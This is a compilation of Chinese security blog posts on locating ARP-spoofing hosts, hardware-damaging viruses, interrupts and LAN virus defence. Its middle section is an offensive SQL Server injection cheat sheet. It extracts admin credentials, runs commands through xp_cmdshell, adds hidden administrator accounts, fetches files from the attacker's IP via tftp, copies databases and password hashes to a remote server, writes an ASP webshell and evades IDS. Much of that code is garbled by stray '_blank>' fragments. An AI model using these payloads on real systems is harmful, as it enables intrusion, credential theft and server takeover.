快速找到ARP病毒源

第一招:使用Sniffer抓包  在网络内任意一台主机上运行抓包软件,捕获所有到达本机的数据包。如果发现有某个IP不断发送请求包,那么这台电脑一般就是病毒源。原理:无论何种ARP病毒变种,行为方式有两种,一是欺骗网关,二是欺骗网内的所有主机。最终的结果是,在网关的ARP缓存表中,网内所有活动主机的MAC地址均为中毒主机的MAC地址;网内所有主机的ARP缓存表中,网关的MAC地址也成为中毒主机的MAC地址。前者保证了从网关到网内主机的数据包被发到中毒主机,后者相反,使得主机发往网关的数据包均发送到中毒主机。
第二招:使用arp -a命令 任意选两台不能上网的主机,在DOS命令窗口下运行arp -a命令。例如在结果中,两台电脑除了网关的IP,MAC地址对应项,都包含了192.168.0.186的这个IP,则可以断定192.168.0.186这台主机就是病毒源。原理:一般情况下,网内的主机只和网关通信。正常情况下,一台主机的ARP缓存中应该只有网关的MAC地址。如果有其他主机的MAC地址,说明本地主机和这台主机最后有过数据通信发生。如果某台主机(例如上面的192.168.0.186)既不是网关也不是服务器,但和网内的其他主机都有通信活动,且此时又是ARP病毒发作时期,那么,病毒源也就是它了。
第三招:使用tracert命令  在任意一台受影响的主机上,在DOS命令窗口下运行如下命令:tracert 61.135.179.148。 假定设置的缺省网关为10.8.6.1,在跟踪一个外网地址时,第一跳却是10.8.6.186,那么,10.8.6.186就是病毒源。原理:中毒主机在受影响主机和网关之间,扮演了“中间人”的角色。所有本应该到达网关的数据包,由于错误的MAC地址,均被发到了中毒主机。此时,中毒主机越俎代庖,起了缺省网关的作用。

病毒破坏硬件有七大损招

病毒破坏硬件的“手段”,一般有以下几种:
 
1.破坏显示器
众所周知,每台显示器都有自已的带宽和最高分辨率、场频。早期生产的14英寸彩色显示器,带宽大约只有35-45MHz,对应的最高分辩率为1024×768@60Hz场频;目前的14英寸彩色显示器,带宽大都有60MHz,对应的最高分辨率为1024×768@75Hz场频;15英寸彩色显示器(高档的),带宽有110MHz,对应的最高分辨率为1280×1024@85Hz场频。大家可以查看一下显示器的说明书,上面都有场频与最高分辨率的配合。若其中有一项超过,就会出现花屏,严重了就会烧坏显示器。病毒可以通过篡改显示参数来破坏显示器(如把分辨率、场院频改到显卡能支持的最高档等)。虽然新型显示器有DDC标准化与系统联络,但病毒想钻空子并不难。所以大家如果发现在使用过程中显示器出现了花屏,要立即关掉显示器的电源,重新启动后进入安全模式再找原因。
 
2.超外频、加电压破坏CPU、显卡、内存等
目前新型主板采用“软跳线”的越来越多,这正好给病毒以可乘之机。所谓“软跳线”是指在BIOS中就能改动CPU的电压、外频和倍频。病毒可以通过改BIOS参数,加高CPU电压使其过热而烧坏,或提高CPU的外频,使CPU和显卡、内存等外设超负荷工作而过热烧坏。这类事件的前兆就是死机。所以,如果发现机器经常死机,就要赶紧到CMOS中看看以上参数是否有改动。可喜的是,目前很多主板都有CPU温度监测功能,超温后立即降频报警,可以基本杜绝烧坏硬件的情况发生。
 
3.超“显频”破坏显卡
目前很多中高档显卡等都可以手动改变其芯片的频率,并且改的方法更简单:在Windows注册表里改。病毒改动了“显频”,显卡也就容易超负荷工作而烧坏。这种事件的前兆也是死机。所以,死机时也不要忽视对“显频”的检查。另外还有一种减少烧坏显卡的可能性的办法,那就是……(什么?你已经安了两个风扇了!?)
 
4.破坏光驱
光驱中的光头在读不到信号时就会加大激光发射功率,这样长期下去对光驱的寿命极为不利。有人做实验,让正常的光驱不停的读取一张划痕很多,信号较弱的光盘,28小时以后光驱就完蛋了。病毒可以让光头走到盘片边缘无信号区域不停的读盘,结果光头读不到信号,便加大发射功率不停地读,要不了几天,光驱就要“No Disc”了。所以要经常注意光驱灯的闪亮情况,判断光驱是否在正常工作。
 
5.破坏主板、显卡的Flash BIOS
这就是现在的CIH病毒破坏主板的方式。病毒用乱码冲掉了BIOS中的内容,使机器不能启动。不过现在很多主板都有带有FlashBIOS写保护跳线,可以有效的防止CIH病毒破坏主板。但是不要忘了,很多显卡也有FlashBIOS,说不定哪一天就会冒出一种破坏显卡BIOS的病毒。所以还是小心一点为好,这可没有什么特效药啊。
 
6.破坏硬盘
大家都知道,分区、高级格式化对硬盘都没有什么损伤,惟独低级格式化对硬盘的寿命有较大的影响。据说硬盘做上10次低级格式化就会报废。如果出现一种病毒,不停的对硬盘的0磁道做低格式化(做10次最多只需用几秒钟!),0道坏了再做1道……你的硬盘容量就会一点一点(这一点好不小啊!)地被蚕食,而且0、1、2……道坏了,要想再使用该硬盘,就得在BIOS中重新设定起始磁道,再低级格式化,非常麻烦。
其实,该病毒有一个非常简单而有效的预防方法,那就是将BIOS中的Boot SectorVirusProtection(引导区病毒写保护)设为Enable(打开)。笔者做过实验,将上述开关打开的情况下,使用各种低级格式化软件(包括BIOS中自带的)对硬盘进行低格,BIOS都会报警(报告说有程序企图重写引导区,问是否继续),按N就可以防止。要知道BIOS程序掌管着系统的最高控制权,应该没有什么东西可以冲破其防线(你按Y是另外一回事)。若发现上述情况,赶紧Reset,然后进行杀毒不过,如果你是在装Win98等操作系统或SystemCommander等软件时碰到该情况,就大可不必理会它,困为这些软件安装时都有要重写引导区。不过劝你安装这些软件时最好先把写保护关掉,否则容易出现死机现象!
 
7.浪费喷墨打印机的墨水
喷墨打印机的喷头特别容易堵塞,为此打印机公司特别发明了专门浪费墨水的“清洗喷头”功能,即让大量墨水冲出喷头,清除杂物。这项功能可以用软件控制实现,于是乎病毒便神不知鬼不觉的一次次调用该功能,而你却对打印机的呻吟声却听而不见。当你发现时,大量的墨已经被浪费了。这种病毒唯一的预防办法就是……不用打印机时把打印机关了。其实,只要你常注意一下打印机上的模式灯就可以了,清洗喷头时它通常是一闪闪的。另外还要仔细倾听它的呻吟声,清洗喷头时打印头总是要来回走动几下的(为了加热)。

入侵网站常用语句

1.判断有无注入点
; and 1=1 and 1=2


2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) —判断是否存在admin这张表


3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)


4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*) >0)–
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)


5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确


6.猜解字符
and 1=(select count(*) from admin where left(name,1)=a) —猜解用户帐号的第一位
and 1= (select count(*) from admin where left(name,2)=ab)—猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51) —
这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.


group by users.id having 1=1–
group by users.id, users.username, users.password, users.privs having 1= 1–
; insert into users values( 666, attacker, foobar, 0xffff )–
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank> _NAME=logintable-
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id)-
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)-
UNION SELECT TOP 1 login_blank> _name FROM logintable-
UNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul–


看_blank>服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)–


看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin权限。
and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))–


判断连接_blank>数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
and sa=(SELECT System_blank>_user)–
and user_blank>_name()=dbo–
and 0<>(select user_blank>_name()–


看xp_blank>_cmdshell是否删除
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_blank>_cmdshell)–


xp_blank>_cmdshell被删除,恢复,支持绝对路径的恢复
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll–
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c: \inetpub\wwwroot\xplog70.dll–


反向PING自己实验
;use master;declare @s int;exec sp_blank>_oacreate “wscript.shell”,@s out;exec sp_blank>_oamethod @s,”run”,NULL,”cmd.exe /c ping 192.168.0.1″;–


加帐号
;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank> _OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–


创建一个虚拟目录E盘:
;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w “默认Web站点” -v “e”,”e: \”–


访问属性:(配合写入一个webshell)
declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse


爆库 特殊_blank>技巧::%5c=\ 或者把/和\ 修改%5提交
and 0< >(select top 1 paths from newtable)–


得到库名(从1到5都是系统的id,6以上才可以判断)
and 1=(select name from master.dbo.sysdatabases where dbid=7)–
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)


依次提交 dbid = 7,8,9…. 得到更多的_blank>数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin
and 0 <>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str (id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_blank>_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,…)) 来暴出其他的字段
and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名


依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<> (select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8, *,9,10,11,12,13 from admin (union,access也好用)


得到WEB路径
;create table [dbo].[swap] ([swappass][char](255));–
and (select top 1 swappass from swap)=1–
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM\CurrentControlSet \Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/,values=@testOUTPUT insert into paths (path) values(@test)–
;use ku1;–
;create table cmd (str image);– 建立image类型的表cmd


存在xp_blank>_cmdshell的测试过程:
;exec master..xp_blank>_cmdshell dir
;exec master.dbo.sp_blank>_addlogin jiaoniang$;– 加SQL帐号
;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;–
;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;–
;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;–
;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;–
exec master..xp_blank> _servicecontrol start, schedule 启动_blank>服务
exec master..xp_blank>_servicecontrol start, server
; DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add
;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
; exec master..xp_blank>_cmdshell tftp -i youip get file.exe– 利用TFTP上传文件
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\
;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目录bak.dat


如果被限制则可以。
select * from openrowset (_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax)


查询构造:
SELECT * FROM news WHERE id=… AND topic=… AND …..
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
select 123;–
;use master;–
:a or name like fff%;– 显示有一个叫ffff的用户哈。
and 1<>(select count (email) from [user]);–
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;–
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;–
;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;–
;update [users] set email=(select top 1 count(id) from password) where name=ffff;–
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;–
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;–
上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。


通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID 得到第二个表的名字
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char (0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)–
insert into users values( 667,123,123,0xffff)–
insert into users values ( 123, admin–, password, 0xffff)–
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //为access_blank>数据库


枚举出数据表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);–


这是将第一个表名更新到aaa的字段处。
读出第一个表,第二个表可以这样读出来(在条件后加上 and name< >刚才得到的表名)。
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);–
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,一个个的读出,直到没有为止。


读字段是这样:
;update aaa set aaa=(select top 1 col_blank>_name (object_blank>_id(表名),1));–
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));–
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)
通过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
update 表名 set 字段= (select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列如:1) [ where 条件]
绕过IDS的检测[使用变量]
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\


1、 开启远程_blank>数据库
基本语法
select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )
参数: (1) OLEDB Provider name


2、 其中连接字符串参数可以是任何端口用来连接,比如
select * from OPENROWSET(SQLOLEDB, uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table


3.复制目标主机的整个_blank>数据库 insert所有远程表到本地表。

基本语法:
insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2
这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from table1) select * from table2
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases)
select * from master.dbo.sysdatabases
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from _blank>_sysobjects)
select * from user_blank> _database.dbo.sysobjects
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from _blank>_syscolumns)
select * from user_blank> _database.dbo.syscolumns


复制_blank>数据库:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2


复制哈西表(HASH)登录_blank>密码的hash存储于sysxlogins中。方法如下:
insert into OPENROWSET (SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins


得到hash之后,就可以进行暴力破解。
遍历目录的方法: 先创建一个临时表:temp
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
;insert temp exec master.dbo.xp_blank>_availablemedia;– 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:\;– 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;– 获得所有子目录的目录树结构,并寸入temp表中
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:\web\index.asp;– 查看某个文件的内容
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\;–
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a;–
;insert into temp(id) exec master.dbo.xp_blank> _cmdshell cscript. C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;– (xp_blank>_dirtree适用权限PUBLIC)


写入表:
语句1:and 1= (SELECT IS_blank>_SRVROLEMEMBER(sysadmin));–
语句2:and 1=(SELECT IS_blank>_SRVROLEMEMBER (serveradmin));–
语句3:and 1=(SELECT IS_blank>_SRVROLEMEMBER(setupadmin));–
语句4:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));–
语句5:and 1=(SELECT IS_blank>_SRVROLEMEMBER (securityadmin));–
语句6:and 1=(SELECT IS_blank>_SRVROLEMEMBER(diskadmin));–
语句7:and 1= (SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));–
语句8:and 1=(SELECT IS_blank>_SRVROLEMEMBER (bulkadmin));–
语句9:and 1=(SELECT IS_blank>_MEMBER(db_blank>_owner));–


把路径写到表中去:
;create table dirs(paths varchar(100), id int)–
;insert dirs exec master.dbo.xp_blank>_dirtree c:\–
and 0<>(select top 1 paths from dirs)–
and 0<> (select top 1 paths from dirs where paths not in(@Inetpub))–
;create table dirs1(paths varchar(100), id int)–
;insert dirs exec master.dbo.xp_blank>_dirtree e:\web–
and 0<>(select top 1 paths from dirs1)–


把_blank>数据库备份到网页目录:下载
;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:\web\down.bak;–
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 参看相关表。
and 1=(select user_blank>_id from USER_blank>_LOGIN)
and 0=(select user from USER_blank>_LOGIN where user>1)
-=- wscript.shell example -=-
declare @o int
exec sp_blank>_oacreate wscript.shell, @o out
exec sp_blank>_oamethod @o, run, NULL, notepad.exe
; declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe–
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_blank>_oacreate scripting.filesystemobject, @o out
exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1
exec @ret = sp_blank>_oamethod @f, readline, @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_blank>_oamethod @f, readline, @line out
end
declare @o int, @f int, @t int, @ret int
exec sp_blank>_oacreate scripting.filesystemobject, @o out
exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
<% set o = server.createobject(“wscript.shell”): o.run( request.querystring(“cmd”) ) %>
declare @o int, @ret int
exec sp_blank>_oacreate speech.voicetext, @o out
exec sp_blank> _oamethod @o, register, NULL, foo, bar
exec sp_blank>_oasetproperty @o, speed, 150
exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528
waitfor delay 00:00:05
; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05–
xp_blank>_dirtree适用权限PUBLIC
exec master.dbo.xp_blank>_dirtree c:\


返回的信息有两个字段 subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。
create table dirs(paths varchar(100), id int)


建表,这里建的表是和上面xp_blank>_dirtree相关连,字段相等、类型相同。
insert dirs exec master.dbo.xp_blank>_dirtree c:\


只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果, 一步步达到我们想要的信息!

Modified At 2008-05-28 17:54:23




Modified At 2008-06-02 23:15:11

中断与计算机病毒

1.中断基本概念

什么是中断?先打个比方。当一个经理正处理文件时,电话铃响了(中断请求),不得不在文件上做一个记号(返 回地址),暂停工作,去接电话(中断),并指示“按第二方案办”(调中断服务程序),然后,再静下心来(恢复中 断前状态),接着处理文件……。计算机科学家观察了类似实例,“外师物化,内得心源”,借用了这些思想、处理方 式和名称,研制了一系列中断服务程序及其调度系统。
中断是CPU处理外部突发事件的一个重要技术。它能使CPU在运行过程中对外部事件发出的中断请求及时地进行处理, 处理完成后又立即返回断点,继续进行CPU原来的工作。引起中断的原因或者说发出中断请求的来源叫做中断源。 根据 中断源的不同,可以把中断分为硬件中断和软件中断两大类,而硬件中断又可以分为外部中断和内部中断两类。
外部中断一般是指由计算机外设发出的中断请求,如:键盘中断、打印机中断、定时器中断等。外部中断是可以屏 蔽的中断,也就是说,利用中断控制器可以屏蔽这些外部设备的中断请求。
内部中断是指因硬件出错(如突然掉电、奇偶校验错等)或运算出错(除数为零、运算溢出、单步中断等)所引起 的中断。内部中断是不可屏蔽的中断。
软件中断其实并不是真正的中断,它们只是可被调用执行的一般程序。例如:ROMBIOS 中的各种外部设备管理中断 服务程序(键盘管理中断、显示器管理中断、打印机管理中断等),以及DOS的系统功能调用(INT 21H)等都是软件中 断。
CPU为了处理并发的中断请求,规定了中断的优先权/中断优先权由高到低的顺序是:
(1)除法错、溢出中断、软件中断
(2)不可屏蔽中断
(3)可屏蔽中断
(4)单步中断。

2.中断与计算机病毒
 
计算机操作系统是开放的,用户可以修改扩充操作系统,在计算机上实现新的功能。修改操作系统的主要方式之一 是扩充中断功能。
计算机提供很多中断,合理合法地修改中断会给计算机增加非常有用的新功能。如INT 10H是屏幕显示中断, 原只能显示西文,而在各种汉字系统中都可以通过修改1NT 10H使计算机能够显示中文。另一方面, 计算机病毒则篡改中断 为其达到传染、激发等目的服务,与病毒有关的重要中断有: INT 08H和INT 1CH定时中断,每秒调用18.2次,有些病毒利用它们的记时判断激发条件。
INT 09H键盘输入中断,病毒用于监视用户击键情况。
INT 10H屏幕输入输出中断,一些病毒用于在屏幕上显示字符图形表现自己。
INT 13H磁盘输入输出中断,引导型病毒用于传染病毒和格式化磁盘。
INT 21H DOS功能调用,包含了DOS的大部分功能,已发现的绝大多数文件型病毒修改
INT 21H中断, 因此也成为防 病毒的重点监视部位。
INT 24H DOS的严重错误处理中断,文件型病毒常进行修改,以防止传染写保护磁盘时被发现。 中断子程序的人口地址存放在计算机内存的最低端,病毒窃取和修改中断的人口地址获得中断的控制权,在中断服 务过程中插入病毒的“私货”。
总之,中断可以被用户程序所修改,从而使得中断服务程序被用户指定的程序所替代。这样虽然大大地方便了用户, 但也给计算机病毒制造者以可乘之机。病毒正是通过修改中断以使该中断指向病毒自身来进行发作和传染的。

局域网病毒入侵原理、现象及防范方法

一、局域网病毒入侵原理及现象
 
一般来说,计算机网络的基本构成包括网络服务器和网络节点站(包括有盘工作站、无盘工作站和远程工作站)。计算机病毒一般首先通过各种途径进入到有盘工作站,也就进入网络,然后开始在网上的传播。具体地说,其传播方式有以下几种。
(1)病毒直接从工作站拷贝到服务器中或通过邮件在网内传播;
(2)病毒先传染工作站,在工作站内存驻留,等运行网络盘内程序时再传染给服务器;
(3)病毒先传染工作站,在工作站内存驻留,在病毒运行时直接通过映像路径传染到服务器中;
(4)如果远程工作站被病毒侵入,病毒也可以通过数据交换进入网络服务器中。
 
一旦病毒进入文件服务器,就可通过它迅速传染到整个网络的每一个计算机上。而对于无盘工作站来说,由于其并非真的”无盘”(它的盘是网络盘),当其运行网络盘上的一个带毒程序时,便将内存中的病毒传染给该程序或通过映像路径传染到服务器的其他的文件上,因此无盘工作站也是病毒孽生的温床。
 
由以上病毒在网络上的传播方式可见,在网络环境下,网络病毒除了具有可传播性、可执行性、破坏性等计算机病毒的共性外,还具有一些新的特点。
(1)感染速度快
在单机环境下,病毒只能通过介质从一台计算机带到另一台,而在网络中则可以通过网络通讯机制进行迅速扩散。根据测定,在网络正常工作情况下,只要有一台工作站有病毒,就可在几十分钟内将网上的数百台计算机全部感染。
(2)扩散面广
由于病毒在网络中扩散非常快,扩散范围很大,不但能迅速传染局域网内所有计算机,还能通过远程工作站将病毒在一瞬间传播到千里之外。
(3)传播的形式复杂多样
计算机病毒在网络上一般是通过”工作站”到”服务器”到”工作站”的途径进行传播的,但现在病毒技术进步了不少,传播的形式复杂多样。
(4)难于彻底清除
单机上的计算机病毒有时可以通过带毒文件来解决。低级格式化硬盘等措施能将病毒彻底清除。
而网络中只要有一台工作站未能清除干净,就可使整个网络重新被病毒感染,甚至刚刚完成杀毒工作的一台工作站,就有可能被网上另一台带毒工作站所感染。因此,仅对工作站进行杀毒,并不能解决病毒对网络的危害。
(5)破坏性大
网络病毒将直接影响网络的工作,轻则降低速度,影响工作效率,重则使网络崩溃,破坏服务器信息,使多年工作毁于一旦。
(6)可激发性
网络病毒激发的条件多样化,可以是内部时钟、系统的日期和用户名,也可以是网络的一次通信等。一个病毒程序可以按照病毒设计者的要求,在某个工作站上激发并发出攻击。
(7)潜在性

网络一旦感染了病毒,即使病毒已被清除,其潜在的危险性也是巨大的。根据统计,病毒在网络上被清除后,85%的网络在30天内会被再次感染。
例如尼姆达病毒,会搜索本地网络的文件共享,无论是文件服务器还是终端客户机,一旦找到,便安装一个隐藏文件,名为Riched20.DLL到每一个包含”DOC”和”eml”文件的目录中,当用户通过Word、写字板、Outlook打开”DOC”和”eml”文档时,这些应用程序将执行Riched20.DLL文件,从而使机器被感染,同时该病毒还可以感染远程服务器被启动的文件。带有尼姆达病毒的电子邮件,不需你打开附件,只要阅读或预览了带病毒的邮件,就会继续发送带毒邮件给你通讯簿里的朋友。
 
二、局域网病毒防范方法
 
以”尼姆达”病毒为例,个人用户感染该病毒后,使用单机版杀毒软件即可清除;然而企业的网络中,一台机器一旦感染”尼姆达”,病毒便会自动复制、发送并采用各种手段不停交叉感染局域网内的其他用户。
计算机病毒形式及传播途径日趋多样化,因此,大型企业网络系统的防病毒工作已不再像单台计算机病毒的检测及清除那样简单,而需要建立多层次的、立体的病毒防护体系,而且要具备完善的管理系统来设置和维护对病毒的防护策略。
一个企业网的防病毒体系是建立在每个局域网的防病毒系统上的,应该根据每个局域网的防病毒要求,建立局域网防病毒控制系统,分别设置有针对性的防病毒策略。

(1)增加安全意识
杜绝病毒,主观能动性起到很重要的作用。病毒的蔓延,经常是由于企业内部员工对病毒的传播方式不够了解,病毒传播的渠道有很多种,可通过网络、物理介质等。查杀病毒,首先要知道病毒到底是什么,它的危害是怎么样的,知道了病毒危害性,提高了安全意识,杜绝毒瘤的战役就已经成功了一半。平时,企业要从加强安全意识着手,对日常工作中隐藏的病毒危害增加警觉性,如安装一种大众认可的网络版杀毒软件,定时更新病毒定义,对来历不明的文件运行前进行查杀,每周查杀一次病毒,减少共享文件夹的数量,文件共享的时候尽量控制权限和增加密码等,都可以很好地防止病毒在网络中的传播。
(2)小心邮件
随着网络的普及,电子信箱成了人们工作中不可缺少的一种媒介。它方便快捷在提高了人们的工作效率的同时,也无意之中成为了病毒的帮凶。有数据显示,如今有超过90%的病毒通过邮件进行传播。
